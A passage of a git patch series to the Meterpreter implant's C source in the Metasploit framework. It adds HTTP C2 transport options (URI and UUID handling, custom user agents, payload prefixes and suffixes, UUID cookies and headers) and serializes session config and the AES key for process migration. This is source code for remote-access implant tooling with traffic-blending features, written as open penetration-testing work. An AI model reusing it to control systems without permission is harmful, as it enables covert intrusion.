dprintf("[GENURI] query string: %S", queryString); + size_t queryStringLen = queryString ? wcslen(queryString) : 0; + dprintf("[GENURI] query string len: %u", queryStringLen); + size_t baseUriLen = wcslen(conn->options.uri) - queryStringLen; + dprintf("[GENURI] base URI len: %u", baseUriLen); + + // The base URI should contain the UUID string (for now) and shouldn't contain any query string + // parameters. Search for '/' from the second-last char in this URI + PWCHAR uuidUri = ctx->default_options.uri + wcslen(ctx->default_options.uri) - 1; + while (uuidUri > ctx->default_options.uri && *(--uuidUri) != L'/'); + + dprintf("[GENURI] uuid string: %S", uuidUri); + size_t uuidUriLen = wcslen(uuidUri); + + // now let's clue the things together (with NULL terminator) + size_t uriLen = baseUriLen + queryStringLen + uuidUriLen + 1; + dprintf("[GENURI] Total URI length required: %u", uriLen); + PWCHAR uri = (PWCHAR)calloc(uriLen, sizeof(wchar_t)); + + wcsncpy_s(uri, uriLen, baseUri, baseUriLen); + dprintf("[GENURI] uri 1: %S", uri); + wcscat_s(uri, uriLen, uuidUri); + dprintf("[GENURI] uri 2: %S", uri); + + if (queryString) + { + wcscat_s(uri, uriLen, queryString); + dprintf("[GENURI] uri 3: %S", uri); + } + + dprintf("[GENURI] final URI: %S", uri); + + return uri; +} + /*! * @brief Prepare a winHTTP request with the given context. * @param ctx Pointer to the HTTP transport context to prepare the request from. @@ -28,16 +95,14 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons } HttpConnection* conn = isGet ? &ctx->get_connection : &ctx->post_connection; - PWCHAR uri = ctx->default_options.uri; - if (conn->options.uri) - { - // TODO OJ: include the default URI/UUID in here somehow? - uri = conn->options.uri; - } + + PWSTR uri = generate_uri(ctx, conn); vdprintf("[%s] opening request on connection %x to %S", direction, conn->connection, uri); hReq = WinHttpOpenRequest(conn->connection, isGet ? L"GET" : L"POST", uri, NULL, NULL, NULL, flags); + free(uri); + if (hReq == NULL) { dprintf("[%s] Failed WinHttpOpenRequest: %u", direction, GetLastError()); @@ -188,6 +253,35 @@ static BOOL read_response_winhttp(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, return WinHttpReadData(hReq, buffer, bytesToRead, bytesRead); } +/* + * @brief Write a given payload to an open outbound HTTP request. + * @param hReq Handle to the open HTTP request. + * @param buffer Pointer to a buffer containing the data. Can be NULL. + * @param size Number of bytes to write from the \c buffer memory location. + * @return Indication of success/failure. + * @details This helper function is used to write data to outbound requests in batches, and is + * useful for when there are payload prefixes and suffixes in use. It can be called with + * \c NULL pointers and \c 0 size values so that the caller doesn't have to check for the + * validity of data sources. + */ +static BOOL write_to_request(HANDLE hReq, LPVOID buffer, DWORD size) +{ + if (buffer != NULL && size > 0) + { + LPBYTE data = (LPBYTE)buffer; + while (size > 0) + { + DWORD written = 0; + dprintf("[WINHTTP] writing data to request. %u (0x%x) from %p", size, size, data + written); + if (!WinHttpWriteData(hReq, data + written, size, &written)) + { + return FALSE; + } + size -= written; + } + } + return TRUE; +} /*! * @brief Wrapper around WinHTTP-specific sending functionality. @@ -208,13 +302,28 @@ static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, BOOL is headers = conn->options.other_headers; } - if (headers) + DWORD headerLength = headers == NULL ? 0 : -1L; + DWORD totalSize = size + conn->options.payload_prefix_size + conn->options.payload_suffix_size; + + // Start a request without including any data + if (WinHttpSendRequest(hReq, headers, headerLength, NULL, 0, totalSize, 0)) { - dprintf("[WINHTTP] Sending with custom headers: %S", headers); - return WinHttpSendRequest(hReq, headers, -1L, buffer, size, size, 0); + dprintf("[WINHTTP] Sending prefix"); + // Then write the prefix first + if (write_to_request(hReq, conn->options.payload_prefix, conn->options.payload_prefix_size)) + { + dprintf("[WINHTTP] Sending payload"); + // .. then the body + if (write_to_request(hReq, buffer, size)) + { + dprintf("[WINHTTP] Sending suffix"); + // .. then the suffix + return write_to_request(hReq, conn->options.payload_suffix, conn->options.payload_suffix_size); + } + } } - return WinHttpSendRequest(hReq, NULL, 0, buffer, size, size, 0); + return FALSE; } /*! @@ -263,6 +372,10 @@ static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx) return ERROR_BAD_CONFIGURATION; } } + else + { + vdprintf("[PACKET RECEIVE WINHTTP] Getting result code failed: %u 0x%x", GetLastError(), GetLastError()); + } if (ctx->cert_hash != NULL) { @@ -405,7 +518,7 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) goto out; } - vdprintf("[PACKET RECEIVE NHTTP] Data received: %u bytes", bytesRead); + vdprintf("[PACKET RECEIVE WINHTTP] Data received: %u bytes", bytesRead); // If the response contains no data, this is fine, it just means the // remote side had nothing to tell us. Indicate this through a @@ -551,14 +664,17 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) static DWORD server_init_connection(HttpTransportContext* ctx, HttpConnection* conn, PWSTR host, INTERNET_PORT port) { // configure proxy + dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); + PWSTR userAgent = conn->options.ua ? conn->options.ua : ctx->default_options.ua; + if (ctx->proxy) { dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); - conn->internet = WinHttpOpen(conn->options.ua, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0); + conn->internet = WinHttpOpen(userAgent, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0); } else { - conn->internet = WinHttpOpen(conn->options.ua, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + conn->internet = WinHttpOpen(userAgent, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); } if (!conn->internet) @@ -620,7 +736,7 @@ static DWORD server_init_winhttp(Transport* transport) dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); DWORD result = server_init_connection(ctx, &ctx->get_connection, tmpHostName, bits.nPort); - result = server_init_connection(ctx, &ctx->post_connection, tmpHostName, bits.nPort); + result = server_init_connection(ctx, &ctx->post_connection, tmpHostName, bits.nPort) && result; transport->comms_last_packet = current_unix_timestamp(); @@ -849,6 +965,9 @@ static void destroy_options(HttpRequestOptions* options) SAFE_FREE(options->payload_suffix); SAFE_FREE(options->referrer); SAFE_FREE(options->accept_types); + SAFE_FREE(options->uuid_cookie); + SAFE_FREE(options->uuid_header); + SAFE_FREE(options->uuid_get); } /*! @@ -939,13 +1058,18 @@ void transport_write_http_config(Transport* transport, Packet* configPacket) BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptions* targetOptions) { - targetOptions->uri = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_URI, NULL); + targetOptions->encode_flags = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC); targetOptions->other_headers = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_OTHER_HEADERS, NULL); - targetOptions->payload_prefix = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_PREFIX, NULL); - targetOptions->payload_suffix = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_SUFFIX, NULL); - targetOptions->referrer = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_REFERRER, NULL); + targetOptions->payload_prefix = packet_get_tlv_group_entry_value_raw(packet, optionsTlv, TLV_TYPE_C2_PREFIX, &targetOptions->payload_prefix_size); targetOptions->payload_skip_count = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_SKIP_COUNT); - targetOptions->encode_flags = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC); + targetOptions->payload_suffix = packet_get_tlv_group_entry_value_raw(packet, optionsTlv, TLV_TYPE_C2_SUFFIX, &targetOptions->payload_suffix_size); + targetOptions->referrer = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_REFERRER, NULL); + targetOptions->ua = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UA, NULL); + targetOptions->uri = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_URI, NULL); + targetOptions->accept_types = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_ACCEPT_TYPES, NULL); + targetOptions->uuid_cookie = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_COOKIE, NULL); + targetOptions->uuid_get = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_GET, NULL); + targetOptions->uuid_header = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_HEADER, NULL); return TRUE; } @@ -960,6 +1084,21 @@ BOOL get_http_options_from_config(Packet* packet, Tlv* c2Tlv, UINT tlvType, Http return FALSE; } +static void debug_print_http_options(PSTR type, HttpRequestOptions* options) +{ + dprintf("[HTTP OPTION] - %s - Accept Types: %S", type, options->accept_types); + dprintf("[HTTP OPTION] - %s - Encode Flags: 0x%x", type, options->encode_flags); + dprintf("[HTTP OPTION] - %s - Other Headers: %S", type, options->other_headers); + dprintf("[HTTP OPTION] - %s - Payload Prefix Size: %u", type, options->payload_prefix_size); + dprintf("[HTTP OPTION] - %s - Payload Suffix Size: %u", type, options->payload_suffix_size); + dprintf("[HTTP OPTION] - %s - Referrer: %S", type, options->referrer); + dprintf("[HTTP OPTION] - %s - URI: %S", type, options->uri); + dprintf("[HTTP OPTION] - %s - UUID Cookie: %S", type, options->uuid_cookie); + dprintf("[HTTP OPTION] - %s - UUID Get: %S", type, options->uuid_get); + dprintf("[HTTP OPTION] - %s - UUID Header: %S", type, options->uuid_header); + dprintf("[HTTP OPTION] - %s - User Agent: %S", type, options->ua); +} + /*! * @brief Create an HTTP(S) transport from the given settings. * @param config Pointer to the HTTP configuration block. @@ -1035,6 +1174,10 @@ Transport* transport_create_http(Packet* packet, Tlv* c2Tlv) transport->comms_last_packet = current_unix_timestamp(); transport->write_config = transport_write_http_config; + DBG_PRINT_OPTIONS("Default", &ctx->default_options); + DBG_PRINT_OPTIONS("GET", &ctx->get_connection.options); + DBG_PRINT_OPTIONS("POST", &ctx->post_connection.options); + return transport; } diff --git a/c/meterpreter/source/metsrv/server_transport_wininet.c b/c/meterpreter/source/metsrv/server_transport_wininet.c index 58d1f8ec8..62f9943a0 100644 --- a/c/meterpreter/source/metsrv/server_transport_wininet.c +++ b/c/meterpreter/source/metsrv/server_transport_wininet.c @@ -156,15 +156,16 @@ static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx) static DWORD server_init_connection(HttpTransportContext* ctx, HttpConnection* conn, PWSTR host, INTERNET_PORT port) { + PWSTR userAgent = conn->options.ua ? conn->options.ua : ctx->default_options.ua; // configure proxy if (ctx->proxy) { dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); - conn->internet = InternetOpenW(conn->options.ua, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0); + conn->internet = InternetOpenW(userAgent, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0); } else { - conn->internet = InternetOpenW(conn->options.ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); + conn->internet = InternetOpenW(userAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); } if (!conn->internet) From b347997d70a98bce82f7e8ce72a284ff3e8a010f Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 15 Jul 2025 11:59:45 +1000 Subject: [PATCH 06/24] More C2 options support, migration work * Packet prefixes and suffixes now work as expected (at least outbound), more work to do to support inbound. * Validated that migration works. * Support encryption key transmission across migration (need to confirm if this is required). --- c/meterpreter/source/common/common_core.h | 1 + c/meterpreter/source/metsrv/core.c | 12 ++ c/meterpreter/source/metsrv/core.h | 1 + .../source/metsrv/packet_encryption.c | 76 ++++++++- .../source/metsrv/packet_encryption.h | 1 + c/meterpreter/source/metsrv/server_setup.c | 132 +++++++-------- .../source/metsrv/server_transport_winhttp.c | 155 +++++++++++++----- 7 files changed, 259 insertions(+), 119 deletions(-) diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index 512b268ac..ddccecb9c 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -27,6 +27,7 @@ typedef enum { PACKET_TLV_TYPE_REQUEST = 0, ///< Indicates a request packet. PACKET_TLV_TYPE_RESPONSE = 1, ///< Indicates a response packet. + PACKET_TLV_TYPE_CONFIG = 2, ///< Indicates a configuration packet. PACKET_TLV_TYPE_PLAIN_REQUEST = 10, ///< Indicates a plain request packet. PACKET_TLV_TYPE_PLAIN_RESPONSE = 11, ///< Indicates a plain response packet. } PacketTlvType; diff --git a/c/meterpreter/source/metsrv/core.c b/c/meterpreter/source/metsrv/core.c index fb093c1a1..65fba3e85 100644 --- a/c/meterpreter/source/metsrv/core.c +++ b/c/meterpreter/source/metsrv/core.c @@ -809,6 +809,18 @@ PWCHAR packet_get_tlv_group_entry_value_wstring(Packet *packet, Tlv *group, TlvT return result; } +LPBYTE packet_get_tlv_group_entry_value_raw_copy(Packet* packet, Tlv* group, TlvType type, DWORD* size) +{ + LPBYTE value = packet_get_tlv_group_entry_value_raw(packet, group, type, size); + if (value) + { + LPBYTE copy = (LPBYTE)calloc(*size, 1); + memcpy_s(copy, *size, value, *size); + return copy; + } + return NULL; +} + LPBYTE packet_get_tlv_group_entry_value_raw(Packet *packet, Tlv *group, TlvType type, DWORD* size) { Tlv entry = { 0 }; diff --git a/c/meterpreter/source/metsrv/core.h b/c/meterpreter/source/metsrv/core.h index 4e3fe3dab..6ae7adbb8 100644 --- a/c/meterpreter/source/metsrv/core.h +++ b/c/meterpreter/source/metsrv/core.h @@ -41,6 +41,7 @@ DWORD packet_enum_group_tlv(Packet* packet, Tlv* group, DWORD index, TlvType typ UINT packet_get_tlv_group_entry_value_uint(Packet* packet, Tlv* group, TlvType type); LPBYTE packet_get_tlv_group_entry_value_raw(Packet* packet, Tlv* group, TlvType type, DWORD* size); +LPBYTE packet_get_tlv_group_entry_value_raw_copy(Packet* packet, Tlv* group, TlvType type, DWORD* size); PCHAR packet_get_tlv_group_entry_value_string(Packet *packet, Tlv *group, TlvType type, DWORD* size); PWCHAR packet_get_tlv_group_entry_value_wstring(Packet *packet, Tlv *group, TlvType type, DWORD* size); diff --git a/c/meterpreter/source/metsrv/packet_encryption.c b/c/meterpreter/source/metsrv/packet_encryption.c index 5f172a8fb..2ca9823b7 100644 --- a/c/meterpreter/source/metsrv/packet_encryption.c +++ b/c/meterpreter/source/metsrv/packet_encryption.c @@ -184,8 +184,12 @@ DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD buf // copy the session ID to the header as this will be used later to identify the packet's destination session memcpy_s(packet->header.session_guid, sizeof(packet->header.session_guid), remote->session_guid, sizeof(remote->session_guid)); - // Only encrypt if the context was set up correctly - if (remote->enc_ctx != NULL && remote->enc_ctx->valid) + // Only encrypt if the context was set up correctly and it's not a config packet + if (ntohl(packet->header.type) == PACKET_TLV_TYPE_CONFIG) + { + vdprintf("[ENC] Config packet found, no encryption will be performed"); + } + else if (remote->enc_ctx != NULL && remote->enc_ctx->valid) { vdprintf("[ENC] Context is valid, moving on ... "); // only encrypt the packet if encryption has been enabled @@ -287,6 +291,7 @@ DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD buf if (*buffer == NULL) { *bufferSize = packet->payloadLength + sizeof(packet->header); + vdprintf("[ENC] Creating buffer for payload, size: %u", *bufferSize); *buffer = (BYTE*)malloc(*bufferSize); BYTE* headerPos = *buffer; @@ -462,10 +467,72 @@ DWORD free_encryption_context(Remote* remote) return result; } -DWORD request_negotiate_aes_key(Remote* remote, Packet* packet) +DWORD create_enc_ctx_from_key(Remote* remote, LPBYTE key, DWORD keySize) { DWORD result = ERROR_SUCCESS; + + do + { + if (remote->enc_ctx != NULL) + { + free_encryption_context(remote); + } + + remote->enc_ctx = (PacketEncryptionContext*)calloc(1, sizeof(PacketEncryptionContext)); + + if (remote->enc_ctx == NULL) + { + dprintf("[ENC] failed to allocate the encryption context"); + result = ERROR_OUTOFMEMORY; + break; + } + + PacketEncryptionContext* ctx = remote->enc_ctx; + + for (int i = 0; i < _countof(AesProviders); ++i) + { + if (!CryptAcquireContext(&ctx->provider, NULL, AesProviders[i].provider, AesProviders[i].type, AesProviders[i].flags)) + { + result = GetLastError(); + dprintf("[ENC] failed to acquire the crypt context %d: %d (%x)", i, result, result); + } + else + { + result = ERROR_SUCCESS; + ctx->provider_idx = i; + dprintf("[ENC] managed to acquire the crypt context %d!", i); + break; + } + } + + if (result != ERROR_SUCCESS) + { + break; + } + + ctx->key_data.header.bType = PLAINTEXTKEYBLOB; + ctx->key_data.header.bVersion = CUR_BLOB_VERSION; + ctx->key_data.header.aiKeyAlg = CALG_AES_256; + ctx->key_data.length = keySize; + memcpy_s(ctx->key_data.key, sizeof(ctx->key_data.key), key, keySize); + + if (!CryptImportKey(ctx->provider, (const BYTE*)&ctx->key_data, sizeof(Aes256Key), 0, 0, &ctx->aes_key)) + { + result = GetLastError(); + dprintf("[ENC] failed to import random key: %d (%x)", result, result); + break; + } + + ctx->valid = TRUE; + } while (0); + + return result; +} + +DWORD request_negotiate_aes_key(Remote* remote, Packet* packet) +{ Packet* response = packet_create_response(packet); + DWORD result = ERROR_SUCCESS; do { @@ -552,5 +619,6 @@ DWORD request_negotiate_aes_key(Remote* remote, Packet* packet) remote->enc_ctx->enabled = TRUE; - return ERROR_SUCCESS; + return result; } + diff --git a/c/meterpreter/source/metsrv/packet_encryption.h b/c/meterpreter/source/metsrv/packet_encryption.h index 9dfef333d..a38b58b2c 100644 --- a/c/meterpreter/source/metsrv/packet_encryption.h +++ b/c/meterpreter/source/metsrv/packet_encryption.h @@ -29,6 +29,7 @@ typedef struct _Packet Packet; DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD bufferSize); DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD bufferSize); +DWORD create_enc_ctx_from_key(Remote* remote, LPBYTE key, DWORD keySize); DWORD request_negotiate_aes_key(Remote* remote, Packet* packet); DWORD free_encryption_context(Remote* remote); diff --git a/c/meterpreter/source/metsrv/server_setup.c b/c/meterpreter/source/metsrv/server_setup.c index d29b8da3c..7f50db05a 100644 --- a/c/meterpreter/source/metsrv/server_setup.c +++ b/c/meterpreter/source/metsrv/server_setup.c @@ -206,95 +206,67 @@ static BOOL create_transports(Remote* remote, Packet* packet) static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size) { - // TODO OJ: fill this in when the rest is done. -#ifdef FDJSKL - // This function is really only used for migration purposes. - DWORD s = sizeof(MetsrvSession); - MetsrvSession* sess = (MetsrvSession*)malloc(s); - ZeroMemory(sess, s); - - dprintf("[CONFIG] preparing the configuration"); - - // start by preparing the session, using the given UUID if specified, otherwise using - // the existing session UUID - memcpy(sess->uuid, uuid == NULL ? remote->orig_config->session.uuid : uuid, UUID_SIZE); - // session GUID should persist across migration - memcpy(sess->session_guid, remote->orig_config->session.session_guid, sizeof(GUID)); -#ifdef DEBUGTRACE - memcpy(sess->log_path, remote->orig_config->session.log_path, LOG_PATH_SIZE); -#endif - - if (remote->sess_expiry_end) + dprintf("[METSRV] - config_create -- starting"); + UINT_PTR commsHandle = 0; + Packet* configPacket = packet_create(PACKET_TLV_TYPE_CONFIG, 0); + dprintf("[METSRV] - config_create -- created config packet"); + packet_add_tlv_uint(configPacket, TLV_TYPE_SESSION_EXPIRY, remote->sess_expiry_end ? remote->sess_expiry_end - current_unix_timestamp() : 0); + dprintf("[METSRV] - config_create -- added Session Expiry"); + if (uuid == NULL) { - sess->expiry = remote->sess_expiry_end - current_unix_timestamp(); + uuid = remote->uuid; } - else + packet_add_tlv_raw(configPacket, TLV_TYPE_UUID, uuid, UUID_SIZE); + dprintf("[METSRV] - config_create -- added uuid"); + packet_add_tlv_raw(configPacket, TLV_TYPE_SESSION_GUID, remote->session_guid, sizeof(remote->session_guid)); + dprintf("[METSRV] - config_create -- added Session GUID"); + packet_add_tlv_uint(configPacket, TLV_TYPE_EXITFUNC, EXITFUNC_THREAD); + dprintf("[METSRV] - config_create -- added exitfunc"); + + if (remote->enc_ctx->valid && remote->enc_ctx->enabled) { - sess->expiry = 0; + // TODO OJ: confirm that it's worth doing this? + packet_add_tlv_raw(configPacket, TLV_TYPE_SYM_KEY, remote->enc_ctx->key_data.key, remote->enc_ctx->key_data.length); } - sess->exit_func = EXITFUNC_THREAD; // migration we default to this. + + // Can't support DEBUG LOGGING during migration? Transport* current = remote->transport; Transport* t = remote->transport; do { - // extend memory appropriately - DWORD neededSize = t->get_config_size(t); - - dprintf("[CONFIG] Allocating %u bytes for transport, total of %u bytes", neededSize, s + neededSize); - - sess = (MetsrvSession*)realloc(sess, s + neededSize); - - // load up the transport specifics - LPBYTE target = (LPBYTE)sess + s; - - ZeroMemory(target, neededSize); - s += neededSize; - if (t == current && t->get_handle != NULL) { - sess->comms_handle.handle = t->get_handle(t); - dprintf("[CONFIG] Comms handle set to %p", (UINT_PTR)sess->comms_handle.handle); - } - - // TODO: switch this to use the new transport->write_config function - switch (t->type) - { - case METERPRETER_TRANSPORT_TCP: - { - transport_write_tcp_config(t, (MetsrvTransportTcp*)target); - break; - } - case METERPRETER_TRANSPORT_PIPE: - { - transport_write_named_pipe_config(t, (MetsrvTransportNamedPipe*)target); - break; - } - case METERPRETER_TRANSPORT_HTTP: - case METERPRETER_TRANSPORT_HTTPS: - { - transport_write_http_config(t, (MetsrvTransportHttp*)target); - break; - } + commsHandle = t->get_handle(t); + dprintf("[CONFIG] Comms handle set to %p", commsHandle); } + dprintf("[METSRV] - config_create -- adding transport"); + t->write_config(t, configPacket); t = t->next_transport; } while (t != current); - // Terminate the transport with a NULL wchar. - // Then terminate the extensions with a zero DWORD. - // Then terminate the config with a -1 DWORD - DWORD terminatorSize = sizeof(wchar_t) + sizeof(DWORD) + sizeof(DWORD); - sess = (MetsrvSession*)realloc(sess, s + terminatorSize); - memset((LPBYTE)sess + s, 0xFF, terminatorSize); - ZeroMemory((LPBYTE)sess + s, terminatorSize - sizeof(DWORD)); - s += terminatorSize; - - // hand off the data - dprintf("[CONFIG] Total of %u bytes located at 0x%p", s, sess); - *size = s; - *config = (MetsrvConfig*)sess; -#endif + LPBYTE packetData = NULL; + DWORD packetDataSize = 0; + + dprintf("[METSRV] - config_create -- transports done, serializing..."); + // serialize and xor the packet (config packets aren't encrypted) + if (encrypt_packet(remote, configPacket, &packetData, &packetDataSize) == ERROR_SUCCESS) + { + dprintf("[METSRV] - config_create -- serialized, constructing config block"); + // put the final result in a config block + *size = packetDataSize + sizeof(MetsrvConfig); + *config = (MetsrvConfig*)calloc(1, *size); + (*config)->comms_handle.handle = commsHandle; + memcpy_s((*config)->config_packet, packetDataSize, packetData, packetDataSize); + } + + if (packetData != NULL) + { + free(packetData); + } + + packet_destroy(configPacket); } /*! @@ -380,6 +352,14 @@ DWORD server_setup(MetsrvConfig* config, Packet* configPacket) break; } + DWORD keySize = 0; + LPBYTE key = packet_get_tlv_value_raw(configPacket, TLV_TYPE_SYM_KEY, &keySize); + if (key != NULL && keySize > 0) + { + dprintf("[DISPATCH] AES key provided in configuration, setting up!"); + create_enc_ctx_from_key(remote, key, keySize); + } + dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->comms_handle.handle); if (remote->transport->set_handle) { @@ -500,9 +480,6 @@ DWORD server_setup(MetsrvConfig* config, Packet* configPacket) // the wait is a once-off thing, needs to be reset each time remote->next_transport_wait = 0; } - - // if we had an encryption context we should clear it up. - free_encryption_context(remote); } // clean up the transports @@ -511,6 +488,9 @@ DWORD server_setup(MetsrvConfig* config, Packet* configPacket) remove_transport(remote, remote->transport); } + // if we had an encryption context we should clear it up. + free_encryption_context(remote); + dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines(remote); } while (0); diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index 90622ba3e..1d17c2a1e 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -150,7 +150,7 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons if (WinHttpGetProxyForUrl(conn->internet, ctx->url, &autoProxyOpts, &proxyInfo)) { - ctx->proxy_for_url = malloc(sizeof(WINHTTP_PROXY_INFO)); + ctx->proxy_for_url = calloc(1, sizeof(WINHTTP_PROXY_INFO)); memcpy(ctx->proxy_for_url, &proxyInfo, sizeof(WINHTTP_PROXY_INFO)); } } @@ -564,7 +564,7 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) payloadBytesLeft = payloadLength; // Allocate the payload - if (!(packetBuffer = (PUCHAR)malloc(packetSize))) + if (!(packetBuffer = (PUCHAR)calloc(1, packetSize))) { dprintf("[REC HTTP] Failed to create the packet buffer"); SetLastError(ERROR_NOT_ENOUGH_MEMORY); @@ -958,15 +958,25 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) static void destroy_options(HttpRequestOptions* options) { + dprintf("SAFE_FREE(options->ua);"); SAFE_FREE(options->ua); + dprintf("SAFE_FREE(options->uri);"); SAFE_FREE(options->uri); + dprintf("SAFE_FREE(options->other_headers);"); SAFE_FREE(options->other_headers); + dprintf("SAFE_FREE(options->payload_prefix);"); SAFE_FREE(options->payload_prefix); + dprintf("SAFE_FREE(options->payload_suffix);"); SAFE_FREE(options->payload_suffix); + dprintf("SAFE_FREE(options->referrer);"); SAFE_FREE(options->referrer); + dprintf("SAFE_FREE(options->accept_types);"); SAFE_FREE(options->accept_types); + dprintf("SAFE_FREE(options->uuid_cookie);"); SAFE_FREE(options->uuid_cookie); + dprintf("SAFE_FREE(options->uuid_header);"); SAFE_FREE(options->uuid_header); + dprintf("SAFE_FREE(options->uuid_get);"); SAFE_FREE(options->uuid_get); } @@ -984,13 +994,20 @@ static void transport_destroy_http(Transport* transport) if (ctx) { + dprintf("SAFE_FREE(ctx->cert_hash);"); SAFE_FREE(ctx->cert_hash); + dprintf("SAFE_FREE(ctx->proxy);"); SAFE_FREE(ctx->proxy); + dprintf("SAFE_FREE(ctx->proxy_pass);"); SAFE_FREE(ctx->proxy_pass); + dprintf("SAFE_FREE(ctx->proxy_user);"); SAFE_FREE(ctx->proxy_user); + dprintf("destroy_options(&ctx->post_connection.options);"); destroy_options(&ctx->post_connection.options); + dprintf("destroy_options(&ctx->get_connection.options);"); destroy_options(&ctx->get_connection.options); + dprintf("destroy_options(&ctx->default_options);"); destroy_options(&ctx->default_options); if (ctx->proxy_for_url) @@ -998,71 +1015,134 @@ static void transport_destroy_http(Transport* transport) WINHTTP_PROXY_INFO* proxyInfo = (WINHTTP_PROXY_INFO*)ctx->proxy_for_url; if (proxyInfo->lpszProxy) { + dprintf("GlobalFree(proxyInfo->lpszProxy);"); GlobalFree(proxyInfo->lpszProxy); } if (proxyInfo->lpszProxyBypass) { + dprintf("GlobalFree(proxyInfo->lpszProxyBypass);"); GlobalFree(proxyInfo->lpszProxyBypass); } } + dprintf("SAFE_FREE(ctx->proxy_for_url);"); SAFE_FREE(ctx->proxy_for_url); } + dprintf("SAFE_FREE(transport->url);"); SAFE_FREE(transport->url); + dprintf("SAFE_FREE(transport->ctx);"); SAFE_FREE(transport->ctx); + dprintf("SAFE_FREE(transport);"); SAFE_FREE(transport); + dprintf("[TRANS HTTP] Destroyed"); } } -void transport_write_http_config(Transport* transport, Packet* configPacket) +BOOL set_http_options_to_tlv(Packet* optionsPacket, HttpRequestOptions* sourceOptions) { - Packet* c2Packet = packet_create_group(); - packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_URL, transport->url); - packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_COMM_TIMEOUT, transport->timeouts.comms); - packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_WAIT, transport->timeouts.retry_wait); - packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_TOTAL, transport->timeouts.retry_total); - - // TODO OJ - fill this in - -#if FALSE - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - if (ctx->ua) + if (sourceOptions->encode_flags != 0) { - packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_UA, ctx->ua); + packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_ENC, sourceOptions->encode_flags); } - if (ctx->proxy) + if (sourceOptions->other_headers != NULL) + { + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_OTHER_HEADERS, sourceOptions->other_headers); + } + if (sourceOptions->payload_prefix != NULL && sourceOptions->payload_prefix_size > 0) + { + packet_add_tlv_raw(optionsPacket, TLV_TYPE_C2_PREFIX, sourceOptions->payload_prefix, sourceOptions->payload_prefix_size); + } + if (sourceOptions->payload_skip_count > 0) + { + packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_SKIP_COUNT, sourceOptions->payload_skip_count); + } + if (sourceOptions->payload_suffix != NULL && sourceOptions->payload_suffix_size > 0) { - packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_PROXY_HOST, ctx->proxy); + packet_add_tlv_raw(optionsPacket, TLV_TYPE_C2_SUFFIX, 